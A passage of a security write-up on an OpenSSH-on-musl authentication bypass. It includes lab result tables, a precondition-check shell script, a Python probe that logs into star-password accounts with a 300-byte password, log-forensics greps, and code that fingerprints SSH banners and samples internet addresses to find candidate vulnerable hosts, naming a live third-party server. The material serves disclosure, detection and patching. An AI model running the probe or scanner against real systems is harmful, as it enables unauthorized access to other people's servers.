warm+257 alice len4=FAIL | len257=FAIL => denied
warm+300 alice len4=FAIL | len300=FAIL => denied
The same runs, compressed. The nosalt row records the crypt-layer DES result above, not a separate SSH run:
target user mode pw_len result notes
alpine-vuln-r5 bob single 11 SUCCESS real password BobPass123!
alpine-vuln-r5 alice single 0,1,8,255,256,257,258,300,512,1024 DENIED sampled single-attempt lengths; pick_salt clobbers getspnam static buffer on first long try
alpine-vuln-r5 alice warm+long 256 DENIED at KEY_MAX (length 256 still hashes)
alpine-vuln-r5 alice warm+long 257,258,300,1024 SUCCESS sampled warm+long lengths on r5
alpine-vuln-r5 alice warm+long 1025 DENIED OpenSSH MAX_PASSWORD_LEN 1024
alpine-vuln-r5 root warm+long 300 SUCCESS PermitRootLogin yes
alpine-vuln-r5-nosalt alice warm+long 257..300 DENIED summary row only; no nosalt matrix/log/Dockerfile in this tree; crypt-layer DES xx does not return *
alpine-patched-r6 alice warm+long 257,300,1024 DENIED MIN_PASSWORD_HASH_LEN>=4
alpine-patched-r6 root warm+long 300 DENIED
debian-glibc-pam alice warm+long 257,300 DENIED Debian glibc+PAM+libxcrypt
musl-crypt n/a crypt($6$..) 257,300,1024,1025 returns * musl KEY_MAX; sampled in crypt_len_test.c
debian-libxcrypt n/a crypt($6$..) 257,300 returns $6$hash libcrypt1 1:4.4.33-2 (libxcrypt), not historical glibc crypt
debian-libxcrypt n/a crypt($6$..) 1024,1025 returns *0 CRYPT_MAX_PASSPHRASE_SIZE 512
Why the profile is narrow and still worth treating as urgent
Alpine base images, minimal containers, appliance-style builds, and “we turned PAM off because we only use keys” are where this composition lives. Key-only was the threat model for putting * in shadow. The bug turns that control into the precondition.
The Alpine advisory is explicit that PermitRootLogin prohibit-password (OpenSSH’s default posture toward root) protects root’s password path, and that this does not help if another * account can log in and escalate (for example through doas). The lab enabled PermitRootLogin yes only to prove root’s * field is on the same code path. Do not read that lab knob as “default Alpine root is password-reachable.” Read it as “the field value is enough when policy allows password auth for that user.”
Also note the donor requirement. A host with only * accounts and no $5$/$6$ hashes is not exploitable via this path, because pick_salt falls back to DES "xx" and musl’s DES crypt of a long password is not "*". The crypt layer shows that result, and no donor-free SSH run is archived. The dangerous real-world shape is mixed: service or human accounts with real passwords next to key-only * users on the same box. That shape is common.
Detection: the practical payoff
Patch inventory is the first response. Where you need to know whether a host still looks exposed, or whether someone already logged in as a star account, three checks are worth running.
Local / offline preconditions
local_check.sh is safe. It does not attempt authentication. It is a precondition inventory, not a running-daemon or patch verifier. It asks: is sshd musl-linked, is PAM off, are passwords on, are there * accounts, is there a $-hash donor, and does the Alpine pkgrel already look like a fixed advisory build? Exit 0 means the preconditions appear present. Exit 1 means not exposed, patched, or mitigated. Exit 2 means inconclusive: the shadow file, sshd -T, or ldd could not be read.
#!/bin/sh
# Local/offline sshhole precondition check (no auth attempts).
# Heuristic inventory, not a patch verifier and not a running-daemon check.
# Donor pattern $1$/$5$/$6$/$y$ is a conservative listing heuristic.
# Lab and the Alpine advisory confirmed $5$/$6$; pick_salt uses the first $...$ field.
#
# Exit 0 = preconditions appear present and Alpine pkgrel not in the 2026-11-05 fixed list
# Exit 1 = not exposed / patched / mitigated (inspection succeeded)
# Exit 2 = inconclusive (could not inspect required inputs)
set -eu
INCONCLUSIVE=0
echo "=== sshhole local exposure check ==="
SSHD=$(command -v sshd || true)
if [ -z "$SSHD" ]; then echo "sshd not found"; exit 1; fi
echo "sshd: $SSHD"
sshd -V 2>&1 | head -1 || true
MUSL=0
LDD_OK=0
LDD_TEXT=$(ldd "$SSHD" 2>/dev/null) && LDD_OK=1 || true
if [ "$LDD_OK" -eq 0 ]; then
echo "libc: ldd failed (unknown; not treated as not-musl)"
INCONCLUSIVE=1
elif printf '%s\n' "$LDD_TEXT" | grep -qi musl; then
MUSL=1
echo "libc: musl"
else
echo "libc: not musl (ldd)"
fi
SSHD_T_OK=0
SSHD_T=$(sshd -T 2>/dev/null) && SSHD_T_OK=1 || true
if [ "$SSHD_T_OK" -eq 0 ]; then
echo "sshd -T: failed (config, host keys, or permissions)"
INCONCLUSIVE=1
USEPAM=""
PWAUTH=""
echo "UsePAM: unknown"
echo "PasswordAuthentication: unknown"
else
USEPAM=$(printf '%s\n' "$SSHD_T" | awk '/^usepam /{print $2}' || true)
if [ -z "${USEPAM:-}" ]; then
echo "UsePAM: (option absent; non-PAM build likely)"
PAM=0
elif [ "$USEPAM" = "yes" ]; then
echo "UsePAM: yes"
PAM=1
else
echo "UsePAM: $USEPAM"
PAM=0
fi
PWAUTH=$(printf '%s\n' "$SSHD_T" | awk '/^passwordauthentication /{print $2}' || true)
echo "PasswordAuthentication: ${PWAUTH:-unknown}"
fi
if [ -z "${PAM+x}" ]; then
PAM=0
fi
STAR_ACCTS=""
DOLLAR=""
if [ -r /etc/shadow ]; then
STAR_ACCTS=$(awk -F: '$2=="*"{print $1}' /etc/shadow || true)
DOLLAR=$(awk -F: '$2 ~ /^\$[156y]/ {print $1":"substr($2,1,22)"..."}' /etc/shadow || true)
else
echo "/etc/shadow: unreadable"
INCONCLUSIVE=1
fi
echo "Accounts with shadow '*':"
printf '%s\n' "${STAR_ACCTS:-"(none)"}" | sed 's/^/ /'
echo "Accounts with \$1/\$5/\$6/\$y hash (listing heuristic for salt donors):"
printf '%s\n' "${DOLLAR:-"(none)"}" | sed 's/^/ /'
PKGVER=""
FIXED_HINT=""
if [ -f /lib/apk/db/installed ]; then
PKGVER=$(awk 'BEGIN{p=0} /^P:openssh-server$/{p=1} p&&/^V:/{print substr($0,3); exit}' /lib/apk/db/installed || true)
echo "openssh-server apk version: ${PKGVER:-unknown}"
case "$PKGVER" in
9.7_p1-r6|9.6_p1-r3|9.3_p2-r4|9.1_p1-r7|9.0_p1-r6|9.9_p2-r1|10.0_p1-r11|10.2_p1-r1|10.3_p1-r2|10.6_p2-r0)
FIXED_HINT=yes ;;
esac
case "$PKGVER" in
10.6_p2*) FIXED_HINT=yes ;;
esac
fi
if [ -f /etc/alpine-release ]; then
echo "Alpine release: $(cat /etc/alpine-release)"
fi
if [ "$INCONCLUSIVE" -eq 1 ]; then
echo "VERDICT: INCONCLUSIVE (could not inspect libc, sshd -T, and/or /etc/shadow)."
exit 2
fi
EXPOSED=0
if [ "$MUSL" -eq 1 ] && [ "$PAM" -eq 0 ] && [ "${PWAUTH:-}" = "yes" ] \
&& [ -n "$STAR_ACCTS" ] && [ -n "$DOLLAR" ]; then
EXPOSED=1
fi
if [ "$EXPOSED" -eq 1 ] && [ "$FIXED_HINT" = "yes" ]; then
echo "VERDICT: preconditions match BUT apk version looks PATCHED (Alpine advisory 2026-11-05 / CVE-2026-123158)."
exit 1
fi
if [ "$EXPOSED" -eq 1 ]; then
echo "VERDICT: preconditions for sshhole-style bypass APPEAR PRESENT (confirm OpenSSH >= 10.6p2 or distro backport; restart the running sshd after upgrade)."
exit 0
fi
echo "VERDICT: full exposure condition set NOT met (or mitigated by PAM/glibc/config)."
exit 1
Limitations: non-Alpine musl systems need an OpenSSH version check (sshd -V, changelog for MIN_PASSWORD_HASH_LEN / 10.6p2). The script cannot see an in-binary workaround without version metadata, so a patched non-Alpine build can still look “precondition positive” until you add that check.
Remote behavioral check
remote_check.py sends a short warm-up password, then 300 As, on one Paramiko transport. Only against hosts you own. Prefer local checks and vendor advisories for fleets.
#!/usr/bin/env python3
"""Lab-only behavioral probe for sshhole-style auth bypass.
Sends a short warm-up password then a 300-byte password to a named account.
Success does not prove a star-backed account; denial does not prove a patch.
ONLY use against hosts you own. Default target is lab localhost.
"""
import argparse, socket, sys
import paramiko
def check(host, port, user):
sock = socket.create_connection((host, port), timeout=10)
t = paramiko.Transport(sock)
t.start_client(timeout=10)
results = []
for pw in ("warm", "A" * 300):
try:
t.auth_password(user, pw)
results.append((len(pw), True))
break
except paramiko.AuthenticationException:
results.append((len(pw), False))
except Exception as e:
t.close()
return f"ERROR {type(e).__name__}: {e}"
ok = t.is_authenticated()
t.close()
return f"steps={results} authenticated={ok}"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=2222)
ap.add_argument("--user", default="alice")
args = ap.parse_args()
if args.host not in ("127.0.0.1", "localhost", "::1"):
print("WARNING: This is a lab probe, not a fleet scanner.", file=sys.stderr)
result = check(args.host, args.port, args.user)
print(result)
if result.startswith("ERROR "):
sys.exit(2)
if __name__ == "__main__":
main()
Lab outcomes:
- vulnerable
:2222→steps=[(4, False), (300, True)] authenticated=True - patched
:2223→authenticated=False - debian
:2224→authenticated=False
Log forensics
After the fact, the pairing is a useful diagnostic on this non-PAM, shadow-backed stack: an Accepted password line for an account whose shadow field is still *. It is not unique proof of this bug on PAM hosts, or if the shadow field changed after login. The bob line is a real $6$ password control, not evidence of the star-account path. The two shadow=* lines below the separator are from a manual shadow check after the run, not from sshd.
# Accepted password for an account whose shadow is *
grep 'Accepted password' /var/log/auth.log # or sshd log path
awk -F: '$2=="*"{print $1}' /etc/shadow
From the vulnerable container’s sshd log:
Accepted password for alice from 172.17.0.1 port 35950 ssh2
Accepted password for alice from 172.17.0.1 port 35964 ssh2
Accepted password for root from 172.17.0.1 port 35972 ssh2
Accepted password for bob from 172.17.0.1 port 35976 ssh2
Accepted password for alice from 172.17.0.1 port 42708 ssh2
---
alice shadow=*
root shadow=*
That pairing should not exist on a healthy password path. If you see it, treat the host as compromised until proven otherwise: rotate keys, audit sessions, rebuild from known-good images, and patch OpenSSH.
Finding vulnerable hosts from the outside
Everything above answers “am I vulnerable?” The attacker’s question is the opposite: “who else is?” Can a host matching the profile be found on the open internet, without logging into it, and without an API key? I measured this on 5 November 2026, the day the packages shipped. Captures were taken on this machine’s Docker Desktop: the lab images run their x86_64 binaries under emulation, and banner and KEXINIT content depend on the binary, not the emulated CPU.
What the unauthenticated handshake reveals
An SSH connection that never attempts authentication still yields two artifacts: the server’s version banner and its KEXINIT algorithm offer. I captured both from the lab images plus three stock builds. The recorder connects, sends a client banner plus KEXINIT, reads one packet, and disconnects. The banner line is read one byte at a time: a chunked recv can run past the banner’s \n into the binary packet that follows (OpenSSH’s KEXINIT padlen byte is often 0x0A).
CLIENT_BANNER = b"SSH-2.0-sshhole-passive\r\n"
def fingerprint(host, port, timeout):
sock = socket.create_connection((host, port), timeout=timeout)
sock.settimeout(timeout)
try:
banner = read_ssh_line(sock).decode(errors="replace").strip()
sock.sendall(CLIENT_BANNER + build_client_kexinit())
pkt = read_ssh_packet(sock)
# pkt excludes the 4-byte length header; pkt[0] is padlen, pkt[1] the
# SSH_MSG_KEXINIT msg byte, then the 16-byte cookie.
payload = pkt[1:]
kexinit = parse_kexinit(payload)
finally:
sock.close()
return banner, kexinit
The banners:
- Alpine 3.20,
openssh-server9.7_p1-r5 (musl, no PAM):SSH-2.0-OpenSSH_9.7 - Alpine 3.20,
openssh-server9.7_p1-r6 (patched):SSH-2.0-OpenSSH_9.7 - Alpine 3.21, stock
openssh-server9.9_p2-r1:SSH-2.0-OpenSSH_9.9 - Alpine 3.24, stock
openssh-server10.3_p1-r2:SSH-2.0-OpenSSH_10.3 - Debian bookworm,
1:9.2p1-2+deb12u10(glibc, PAM):SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 - Ubuntu 24.04,
1:9.6p1-3ubuntu13.20(glibc, PAM):SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.20
The wire banner does not contain the portable p1 suffix by default. Portable OpenSSH builds the identification string in kex.c from SSH_VERSION ("OpenSSH_9.7") plus a VersionAddendum, which is empty unless a packager sets one. Debian-family distros get their package version in differently: they patch kex.c to print SSH_RELEASE — SSH_VERSION, the p1, and a build-time extra version — which is how bookworm’s binary announces OpenSSH_9.2p1 Debian-2+deb12u10 (their DebianBanner option toggles it), and Ubuntu does the same with its own suffix. Alpine ships the stock banner: SSH_VERSION only, no p1. I initially read the missing p1 as an Alpine patch stripping it; it is the opposite. The bare string is the stock portable banner, and Debian-family distros are the ones decorating theirs. On stock builds the p1 exists only in SSH_RELEASE, the string sshd -V prints — and Debian-family’s patched builds put it back into the wire banner, which is exactly why their banners contain it.
The banner alone cannot expose the patch level. The vulnerable r5 and the fixed r6 Alpine builds serve the byte-identical string SSH-2.0-OpenSSH_9.7 — I measured both. The same must hold for 3.24’s vulnerable 10.3_p1-r1 versus fixed r2 (both print SSH_VERSION "OpenSSH_10.3"; I measured the r2 side), since the pkgrel lives nowhere in the string. The pkgrel is invisible remotely.
The KEXINIT offer carries no musl signal worth having. The Alpine 9.7 and Ubuntu 9.6 offers I captured are byte-identical; Debian 9.2 differs only in version-dependent content (it adds plain sntrup761x25519-sha512 and lacks ext-info-s), not in build-related fields. I went in expecting GSSAPI to be the discriminator — Debian compiles it in and Alpine does not — but under default configs it does not fire: GSSAPIKeyExchange is off by default, so even Debian’s server never advertises gssapi-* key exchange. Finding: measured, negative.
So the passive profile an attacker can assemble is a candidate profile:
- A banner of the form
SSH-2.0-OpenSSH_X.Ywith no distro addendum. An addendum positively marks a Debian/Ubuntu-convention build (glibc, PAM by default) and excludes the host. A bare banner is shared by Alpine, Arch, RHEL-family, and vanilla builds — a candidate pool, not proof of musl. - An upstream version that maps onto an Alpine release branch: 9.0→3.16, 9.1→3.17, 9.3→3.18, 9.6→3.19, 9.7→3.20, 9.9→3.21, 10.0→3.22, 10.2→3.23, 10.3→3.24 (the advisory’s own table). Vanilla builds on other libcs can land on the same numbers; that is why this stage ends in “candidate”.
That rule, as code:
# Upstream version -> Alpine release branch that ships it (banner does not
# reveal the fixed pkgrel; advisory table 2026-11-05).
ALPINE_BRANCH_OPENSSH = {
"9.0": "3.16", "9.1": "3.17", "9.3": "3.18", "9.6": "3.19",
"9.7": "3.20", "9.9": "3.21", "10.0": "3.22", "10.2": "3.23",
"10.3": "3.24", "10.6": "edge",
}
BANNER_RE = re.compile(r"^SSH-2\.0-(OpenSSH_[0-9]+(?:\.[0-9]+)?)(.*)$")
def classify(banner, kexinit):
m = BANNER_RE.match(banner)
rec = {"candidate": False, "reasons": []}
if not m:
rec["reasons"].append("banner is not a plain OpenSSH_2.0 banner")
return rec
version = m.group(1).replace("OpenSSH_", "")
# Debian-family banners embed the portable pN inside their patched
# SSH_RELEASE ("OpenSSH_9.2p1 Debian-2+deb12u10"); strip it so the
# addendum field holds only the distro part.
addendum = re.sub(r"^p\d+\b\s*", "", m.group(2).strip()).strip()
rec["openssh_version"] = version
rec["banner_addendum"] = addendum
if addendum:
rec["reasons"].append(
"distro addendum present (%r): glibc distro build convention, "
"outside the musl profile" % addendum)
branch = ALPINE_BRANCH_OPENSSH.get(version)
if branch:
rec["alpine_branch"] = branch
rec["reasons"].append(
"OpenSSH %s matches an Alpine release branch (%s)" % (version, branch))
if not addendum:
rec["candidate"] = True
rec["reasons"].append(
"no distro addendum: consistent with an Alpine/musl-style "
"build (also with vanilla/RHEL-style builds - candidate "
"signal only, not proof)")
else:
rec["reasons"].append(
"OpenSSH %s does not map to an Alpine branch in the "
"2026-11-05 advisory table" % version)
return rec
If you script this, watch OpenSSH 9.8’s PerSourcePenalties (and MaxStartups before it). They can drop connections with the literal text Not allowed at this time in place of a banner. My first probe of a live host got exactly that, then served normally on a repeat connection. A passive scanner that hammers a host can rate-limit itself out of its own data.
Enumeration without a key
Shodan’s InternetDB answers one IP at a time, needs no account, returns open ports, CPEs and hostnames — and no banners, with weekly-fresh data. That is enough for stage one if you sample an address space. I queried 480 addresses (the first 80 of six /24s in Hetzner, DigitalOcean and OVH ranges — a convenience sample to exercise the method, not a survey), at one request per second. The sampler used curl because this host’s default Python CA store failed verification on a prior run:
def fetch(ip):
# curl: the Python default CA store on this host failed verification in a
# prior run (see results/internetdb-example-arm64.json), so use curl.
cmd = ["curl", "--noproxy", "*", "--proto", "=https", "--silent",
"--show-error", "--max-time", "15",
"https://internetdb.shodan.io/%s" % ip]
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
return {"ip": ip, "error": r.stderr.strip() or "curl exit %d" % r.returncode}
try:
return json.loads(r.stdout)
except json.JSONDecodeError:
return {"ip": ip, "error": "bad json", "body": r.stdout[:200]}
I counted a hit when the record had port 22 and a cpe:/a:openbsd:openssh: entry.
Nineteen of the 480 had port 22 with an OpenSSH CPE. Eighteen carried a pN suffix in the CPE version — 9.6p1 ×10, 10.2p1 ×4, 8.9p1 ×3 (Ubuntu 22.04), 9.2p1 ×1 (Debian 12) — and the suffix means the banner those servers expose carries a distro addendum, so all eighteen are glibc distro builds: out. One CPE, openssh:9.9, was bare. The InternetDB cannot tell me the banner, so I confirmed it the same way an attacker would, with one unauthenticated connection: the host answered SSH-2.0-OpenSSH_9.9, no addendum. That is a live, internet-reachable sshd matching the candidate profile — Alpine 3.21 branch, unless it is a vanilla build — as of 5 November 2026. A second host from the same /24 served as the control: its CPE read 9.6p1, and the live capture confirmed SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.20 — classified and excluded by the same script. What the classifier emitted for those two:
"classification": {
"candidate": true,
"reasons": [
"OpenSSH 9.9 matches an Alpine release branch (3.21)",
"no distro addendum: consistent with an Alpine/musl-style build (also with vanilla/RHEL-style builds - candidate signal only, not proof)"
],
"openssh_version": "9.9",
"banner_addendum": "",
"alpine_branch": "3.21"
}
"classification": {
"candidate": false,
"reasons": [
"distro addendum present ('Ubuntu-3ubuntu13.20'): glibc distro build convention, outside the musl profile",
"OpenSSH 9.6 matches an Alpine release branch (3.19)"
],
"openssh_version": "9.6",
"banner_addendum": "Ubuntu-3ubuntu13.20",
"alpine_branch": "3.19"
}
Whether that host is exploitable is still unproven from the outside. The remaining preconditions — PasswordAuthentication yes, an account with shadow field *, a $5$/$6$ donor, and the account passing ordinary sshd policy — plus the patch level are not remotely observable. They are, however, the defaults of the ecosystem in question, and the timing argument does a lot of work: the fixed packages shipped the same day I write this, and an apk upgrade does not replace the running daemon until someone restarts sshd. A host whose banner shows a vulnerable-branch version today is, with high probability, still running the vulnerable binary right now. The banner cannot prove it; the restart can only be observed by the host’s owner, in sshd -V, or in logs.
Named and critical examples
- A live operator-invited host. During the disclosure’s Hacker News thread (story 50378228), the operator of
ping.ohftp.orgposted that they “run Alpine Linux exclusively” and invited the internet to test their public SFTP service (sftp [email protected],PasswordAuthentication yes). My passive capture of that host recordedSSH-2.0-OpenSSH_10.3— Alpine 3.24 branch shape — with a customizedKEXINIT(reordered key exchange,ssh-ed25519host keys only). Whether that specific host still runs a vulnerable pkgrel is not determinable passively, and I did not authenticate to it. It is included here as a named, live, operator-sanctioned example of the class. - Alpine’s official tiny-cloud images. The advisory documents the critical shape precisely: images 3.18.11 through 3.24.3 ship an
alpineuser with a*password field and passwordlessdoas. They are safe on first boot and become exploitable as soon as any$6$hash exists on the machine — for example when an admin sets a console password. Every AMI, Azure VHD and qcow2 built from those point releases that is running today, pre-patch, is one admin password away from the full chain: attacker authenticates asalpinewith a 300-byte password, thendoasto root. The advisory lists fixed point releases 3.21.10, 3.22.8, 3.23.8 and 3.24.4; images built from earlier point releases do not contain the fix. - Public SFTP servers on Alpine are the shape the HN operator himself pointed at: long-running, password-auth-on, musl, low attention. And the usual musl-device suspects — OpenWrt, Buildroot, Yocto appliances — appear in the public write-up as ecosystem reasoning, not as anything this lab tested; I keep that label.
The automation script
sshole_scan.py is the assembled attack tooling: the handshake and classifier above, plus an optional probe. Passive mode fingerprints and classifies any target list with one unauthenticated connection each:
python3 sshole_scan.py host1 host2:2222 --out results.jsonl
--probe USER is the same two-attempt sequence as remote_check.py above. It performs the attack itself — one failed warm-up password, then one 300-byte password, on a single transport, no command execution afterwards:
python3 sshole_scan.py host --probe alice
It is documented as authorized-hosts-only, and it was run only against this lab: on the vulnerable image it reproduced the archived matrix (steps=[(4, False), (300, True)] → authenticated); on the patched image it denies. What a full attack automation would still need for fleet use — and what I deliberately did not do to strangers — is the probing stage at scale, plus the version-history comparison a paid Shodan/Censys query would give for free.
Mitigations that actually close it
- Upgrade to OpenSSH 10.6p2 or your distro’s backport that includes the workaround (Alpine 3.20:
openssh-server9.7_p1-r6 and the other fixed pkgrels in the advisory table). Then restart sshd. On Alpine, upgrading the package does not replace the running daemon. - If you cannot upgrade yet:
PasswordAuthentication no, or switch to a PAM-enabled build withUsePAM yes, understanding your key and account-lock semantics. - Do not rely on “nobody has a password set” as protection: the donor hash on another account is enough, and the target is the account with
*. - Changing
*to!makes Linux treat the account as locked (LOCKED_PASSWD_PREFIX). With PAM off, that also blocks key login, which is why Alpine moved root to*. Do not treatMaxAuthTries 1as a replacement for the fix; this lab did not test it.
What this composition is really saying
musl’s "*" failure sentinel was a deliberate crash-avoidance choice from 2012. KEY_MAX was a DoS cap. pick_salt was a timing fix for user enumeration. Alpine’s root * restored key logins after the empty-password disaster. OpenSSH’s two-character salt test treated short shadow fields as “no salt of our own.” Linux’s locked-account prefix looked for !, not *.
Stack them, and strcmp becomes a confused deputy for “crypt failed” versus “this account has no password.” The failure sentinel and the lock sentinel are the same byte.
OpenSSH’s release notes place the root cause outside sshd. Operationally the fix that shipped in 10.6p2 still lives in sshd, because that is where the strcmp ran. Both statements can be true. Composition bugs usually look like that: every layer is locally defensible, and the product is still a login prompt that says yes.
The public write-up at sshhole.com is the disclosure that forced the question. Credit for the report, per OpenSSH, goes to Özgün Kültekin of Wakefield. The lab on this box confirmed the mechanism, tightened the warm-up and donor-hash caveats, separated the 30 October bcrypt pick_salt commit from the 5 November bypass workaround, and left OpenWrt/Buildroot/Yocto/Dropbear/OpenBSD marked untested here.
If your estate runs musl SSH without PAM, do not argue with the star in shadow. Measure it. Patch it. Then grep for the Accepted password lines that should never have existed.
Sources: sshhole.com; OpenSSH 10.6p2 release notes; openssh-portable commit 90f9c2f7; openssh-portable kex.c banner construction and sshd.c drop_connection() (current master); musl commits b3c4cc12 and 88bf5a8a; Alpine openssh-server advisory, 5 November 2026; CVE-2026-123158; Shodan InternetDB (free, keyless, per-IP, no banners, weekly updates); Hacker News thread 50378228 including the ping.ohftp.org operator’s invitation (comment 50378503); isolated Alpine/Debian lab on this box, 5 November 2026.